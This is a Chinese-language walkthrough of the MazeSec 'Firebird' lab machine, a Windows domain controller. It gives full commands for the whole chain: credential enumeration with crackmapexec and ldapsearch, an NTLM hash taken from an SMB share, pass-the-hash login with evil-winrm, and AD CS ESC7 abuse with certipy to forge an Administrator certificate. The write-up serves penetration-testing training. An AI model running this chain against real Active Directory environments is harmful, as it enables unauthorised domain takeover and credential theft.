MazeSec Firebird
靶机信息
靶机名称: Firebird
靶机作者:kaada
靶机类型:Windows
来源:MazeSec/QQ公开群 321948805
官网:https://maze-sec.com/
攻击链复盘
1. ll104567:Pass_123456! → 普通域用户
2. LDAP info 字段泄露 → 111:Ldap_P@ssw0rd_2026!
3. 111 访问 DB_Vault → db_config.ini
4. db_config.ini 泄露 → sublarge 的 NTLM Hash
5. sublarge PTH + WinRM 登录 → 普通域用户,无特权
6. Certipy 枚举 AD CS → ESC7(CA 危险权限)+ SubCA 模板
7. ESC7 攻击链 → Administrator.pfx
8. PKINIT 认证 → Administrator NTLM Hash
9. 域控接管 → 完全控制 firebird.local
信息收集
arp-scan 扫描局域网内存活主机,发现目标主机 IP 地址为192.168.56.140

扫描端口

通过下面服务可以分析出这是一台域控主机
- DNS(53)、Kerberos(88)、LDAP(389/636)、Global Catalog(3268/3269)、ADWS(9389)
- SMB(445)、NetBIOS(139)
- RPC(135/593) + 大量 49xxx 动态端口
- WinRM(5985)
域信息收集
通过作者给出的初始凭证ll104567:Pass_123456!,进行域信息收集
验证凭证
crackmapexec smb 192.168.56.140 -u ll104567 -p Pass_123456!
凭证有效,域名为 firebird.local

枚举域用户
crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --users
存在用户111、sublarge、ll104567、Administrator

获取密码策略,通过账号锁定阈值为0、密码复杂度没有要求,爆破口令不失为好的选择
crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --pass-pol

枚举smb共享,无权限访问DB_Vault
crackmapexec smb 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --shares

LDAP 信息泄露
CME(CrackMapExec)smb模块枚举域信息有限,使用 LDAP 协议做精细化枚举
nxc ldap 192.168.56.140 -u ll104567 -p 'Pass_123456!' -d firebird.local --users
111用户描述信息'Service Account for DB Backup Validation.',与smb共享DB_Vault相关

ldapsearch 深度枚举111用户,info字段发现密码为Ldap_P@ssw0rd_2026!
ldapsearch -LLL -x -H ldap://192.168.56.140 -D "ll104567@firebird.local" -w 'Pass_123456!' -b "DC=firebird,DC=local" "(sAMAccountName=111)" "*"

验证
crackmapexec smb 192.168.56.140 -u 111 -p 'Ldap_P@ssw0rd_2026!'

访问 DB_Vault 泄露 NTLM Hash
使用 111 用户访问 DB_Vault,发现 db_config.ini 文件
smbclient //192.168.56.140/DB_Vault -U '111%Ldap_P@ssw0rd_2026!'
获取到 db_config.ini 文件,里面有 sublarge 用户的 NTLM Hash

验证NTLM hash有效性
crackmapexec smb 192.168.56.140 -u sublarge -H 2d9b24ded78750921eecd7dfea8d54ae

PTH + WinRM 登录
现在有了ll104567、111、sublarge三个用户的凭证,尝试使用 WinRM 登录,仅sublarge可以正常登录,说明sublarge在remote management组中
evil-winrm -i 192.168.56.140 -u sublarge@firebird.local -H 2d9b24ded78750921eecd7dfea8d54ae


sublarge在remote management、FIREBIRD_DOM\CertManagers_Group组中,CertManagers_Group 的存在提示目标域启用了 AD CS 服务,且该组很可能被赋予了证书管理相关 ACL
AD CS 枚举与 ESC7 发现
Active Directory Certificate Services(AD CS) 是 Windows Server 提供的 PKI 实现,负责在域内颁发和管理数字证书,用于身份认证、加密与签名。由于证书可直接用于 Kerberos PKINIT 认证,且企业部署中常存在模板配置不当、CA 权限过大等问题,AD CS 已成为 AD 环境中一类重要的非漏洞型提权攻击面(典型如 ESC1–ESC8)。核心逻辑:如果能骗 CA 给你发一张“身份是域管”的有效证书,那你就能用这张证书通过 Kerberos PKINIT 认证成域管,拿到 TGT 甚至 NTLM Hash,而不需要域管密码。
使用 certipy-ad find 以 sublarge 的身份枚举 AD CS 配置:
certipy-ad find -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae -dc-ip 192.168.56.140
域控上存在 1 个证书颁发机构:firebird-FIREBIRD-CA

CA firebird-FIREBIRD-CA 的 ACL 配置存在 ESC7 风险——当前用户 sublarge 对 CA 具备 ManageCA 类高危权限,可操纵证书模板与签发流程;
内置 SubCA 模板虽仅限 Domain Admins 注册,但结合 ESC7 的“拒绝后强制签发”机制,可绕过模板 Enrollment Rights 限制,可用于签发下级 CA 证书,在 AD CS 信任链中具备等效于域管的认证能力,因此可被滥用于 PKINIT 域提权。


ESC7 利用:SubCA 模板滥用
基于前文发现的 ESC7 风险,sublarge 对 CA firebird-FIREBIRD-CA 拥有 ManageCA 权限。这意味着即便 SubCA 模板仅允许 Domain Admins 注册,sublarge 仍可绕过该限制,完成“请求 → 拒绝 → 强制签发”的攻击链。
整个利用流程分为五个阶段:添加 CA Officer → 启用 SubCA 模板 → 提交域管证书请求 → 强制签发 → PKINIT 认证提权。
添加 CA Officer(获取 ManageCertificates 权限)
虽然 sublarge 已有 ManageCA,但为了能够签发被拒绝的请求,还需显式将自己添加为 CA Officer(即获得 ManageCertificates 权限)
certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -add-officer sublarge

原理:ManageCA 允许管理 CA 配置(如启用模板),而 ManageCertificates 允许批准/拒绝证书请求。ESC7 的完整利用通常需要两者兼备,因此首先通过 -add-officer 将自身加入 CA Officer 列表。
启用 SubCA 模板
默认情况下,SubCA 模板处于禁用状态。使用 ManageCA 权限启用该模板:
certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -enable-template SubCA

原理:SubCA(下级 CA)模板在 AD CS 信任链中具有极高权限,可被用于签发任意身份的证书。由于其危险性,默认不启用。ESC7 允许低权限用户启用该模板,从而为后续伪造域管证书创造条件。
以 Administrator 身份提交 SubCA 证书请求
使用 certipy-ad req 以 Administrator 的 UPN 提交证书请求。由于 sublarge 不在 Enrollment Rights 中,该请求会被 CA 拒绝(Pending/Denied),但仍会生成唯一的 Request ID:
certipy-ad req -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA \
-template SubCA -upn Administrator@firebird.local

- -upn Administrator@firebird.local:指定证书绑定的身份为域管
- 命令执行后会返回 Request ID is X,该 ID 是后续强制签发的关键
- 此时证书尚未生效,因为 CA 拒绝了该请求
强制签发被拒的证书请求
利用此前获得的 ManageCertificates 权限,强行签发第 3 步中被拒绝的请求:
certipy-ad ca -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -issue-request 4

ESC7 核心步骤:正常流程中,被拒绝的请求需要域管手动批准。但在 ESC7 场景下,sublarge 既是“申请者”,又是“审批者”,因此可以自行批准自己的恶意请求,绕过模板的 Enrollment Rights 限制。
取回证书并进行 PKINIT 认证
请求被签发后,使用相同的 Request ID 取回证书,并通过 PKINIT 进行 Kerberos 认证,直接获取 Administrator 的 NTLM Hash:
# 取回证书
certipy-ad req -u sublarge@firebird.local -hashes :2d9b24ded78750921eecd7dfea8d54ae \
-dc-ip 192.168.56.140 -ca firebird-FIREBIRD-CA -retrieve 4
# PKINIT 认证
certipy-ad auth -pfx administrator.pfx -dc-ip 192.168.56.140

- administrator.pfx 是一个有效的域管证书
- certipy-ad auth 利用该证书完成 PKINIT 认证,成功获取 TGT,并自动导出 Administrator 的 NTLM Hash
域控接管
使用获取的 NTLM Hash 通过 WinRM 登录域控,验证权限:
evil-winrm -i 192.168.56.140 -u Administrator -H 9fbb1566fa1ff2c13c56255d7e360635
